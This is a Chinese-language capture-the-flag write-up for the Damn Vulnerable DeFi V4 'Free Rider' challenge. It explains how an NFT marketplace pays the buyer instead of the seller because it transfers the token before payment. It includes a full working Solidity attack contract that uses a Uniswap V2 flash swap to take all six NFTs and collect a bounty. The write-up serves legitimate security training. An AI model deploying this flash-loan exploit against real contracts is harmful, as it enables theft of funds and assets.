Damn Vulnerable DeFi V4 解决方案 —— #10. Free Rider

本文分析了Damn Vulnerable DeFi V4挑战中的Free Rider漏洞,该漏洞存在于NFT市场的购买逻辑中,由于在支付卖家之前就将NFT转移给买家,导致买家可以免费获得NFT并退回付款。攻击者利用Uniswap V2闪电贷获得初始资金,购买所有NFT,然后将NFT转移到recoveryManager合约以获得赏金,最后偿还闪电贷。

该解释假定你事先了解此挑战中的智能合约,并将专门关注漏洞分析。

挑战概述

一个崭新的 Damn Valuable NFT 市场已经发布!已经初始铸造了 6 个 NFT,它们可以在市场上出售。每个 15 ETH。

已经报告了一个严重漏洞,声称可以获取所有 token。但开发人员不知道如何拯救它们!

他们提供 45 ETH 的赏金,奖励给任何愿意取出 NFT 并将其发送给他们的人。恢复过程由专门的智能合约管理。

你已同意提供帮助。但是,你的余额中只有 0.1 ETH。开发人员就是不回复你要求更多信息的消息。

如果至少可以立即获得免费的 ETH 就好了。

漏洞分析

该挑战暴露了 NFT 市场合约的支付逻辑中的一个关键缺陷。市场在 NFT 购买期间的操作顺序中包含一个错误。

核心漏洞在于 FreeRiderNFTMarketplace 合约中的 _buyOne() 函数:

    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        // ... checks for valid offer and sufficient payment ...
        // ... 检查有效的 offer 和足够的付款 ...

        --offersCount;

        // transfer from seller to buyer
        // 从卖家转移到买家
        DamnValuableNFT _token = token;
        _token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller using cached token
        // 使用缓存的 token 向卖家付款
        payable(_token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

该实现存在漏洞,因为它在向卖方付款之前将 NFT 转移给买方。关键错误在于,它在 NFT 已经转移后调用 _token.ownerOf(tokenId),这会返回买方的地址,而不是原始卖方的地址。这意味着买方既收到了 NFT,又收到了付款的退款,实际上允许免费购买 NFT。

攻击流程

  1. 通过 Uniswap V2 的闪电互换获得临时 ETH,以支付初始购买价格
  2. 将借来的 WETH 转换为 ETH,使其与市场兼容
  3. 使用 buyMany() 函数从市场购买所有 6 个 NFT
  4. 由于存在漏洞,既收到 NFT,又收回所有 ETH
  5. 将所有 6 个 NFT 转移到恢复管理器合约,其中编码的数据指向攻击者的地址
  6. 从恢复管理器收到 45 ETH 的赏金
  7. 将足够的 ETH 转换回 WETH,以偿还闪电贷,其中包含 0.3% 的 Uniswap V2 特定费用

解决方案

    contract Attacker is IERC721Receiver{
        WETH weth;
        IUniswapV2Pair uniswapPair;
        FreeRiderNFTMarketplace marketplace;
        FreeRiderRecoveryManager recoveryManager;
        DamnValuableNFT nft;
        address player;
        uint256 constant NFT_PRICE = 15 ether;

        constructor(
            WETH _weth,
            IUniswapV2Pair _uniswapPair,
            FreeRiderNFTMarketplace _marketplace,
            FreeRiderRecoveryManager _recoveryManager,
            DamnValuableNFT _nft,
            address _player
        ) {
            weth = _weth;
            uniswapPair = _uniswapPair;
            marketplace = _marketplace;
            recoveryManager = _recoveryManager;
            nft = _nft;
            player = _player;
        }

        function startAttack() public {
            bytes memory data = abi.encode(address(recoveryManager));
            uniswapPair.swap(NFT_PRICE, 0, address(this), data);
        }

        function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
            uint256[] memory tokenIds = new uint256[](6);
            for(uint256 i = 0; i < 6; i++) {
                tokenIds[i] = i;
            }

            weth.withdraw(NFT_PRICE);
            marketplace.buyMany{value: NFT_PRICE}(tokenIds);
            for(uint256 i = 0; i < 6; i++) {
                nft.safeTransferFrom(address(this), address(recoveryManager), i, abi.encode(player));
            }

            uint256 fee = (NFT_PRICE * 3) / 997 + 1;
            weth.deposit{value: 15e18 + fee}();
            weth.transfer(msg.sender, 15e18 + fee);
        }

        function onERC721Received(
            address operator,
            address from,
            uint256 tokenId,
            bytes calldata data
        ) external override returns (bytes4) {

            return this.onERC721Received.selector;
        }

        receive() external payable {}
    }
    /**
     * CODE YOUR SOLUTION HERE
     * 在这里编写你的解决方案
     */
    function test_freeRider() public checkSolvedByPlayer {
        Attacker attacker = new Attacker(
            weth,
            uniswapPair,
            marketplace,
            recoveryManager,
            nft,
            player
        );
        attacker.startAttack();
    }

GitHub 存储库,其中包含解决方案:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/